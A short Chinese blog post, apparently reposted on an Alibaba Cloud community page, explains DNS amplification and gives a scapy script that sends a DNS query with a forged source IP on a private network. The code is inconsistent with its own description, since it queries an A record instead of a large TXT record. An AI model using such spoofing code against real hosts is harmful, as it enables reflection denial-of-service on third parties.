用scapy類比DNS放大攻擊

來源:互聯網
上載者:User

首先,DNS放大攻擊,簡單解釋有兩點:

1.偽造源IP為其他人的ip地址

2.被請求的記錄,要求比較大,比如TXT格式,4000KB

 

在A機器上,向DNS發送查詢那個TXT的記錄,並偽造成別人的ip,即可理解為DNS放大攻擊。

可以用python的scapy類比:

from scapy import *

a = IP(dst='10.32.8.11',src='10.32.132.85')     #10.32.132.85即為偽造的源ip

b = UDP(dport='53')

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

類比結束。

在10.32.132.85上抓dns的包,就會收到一條DNS響應,是10.32.8.11發來的。

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.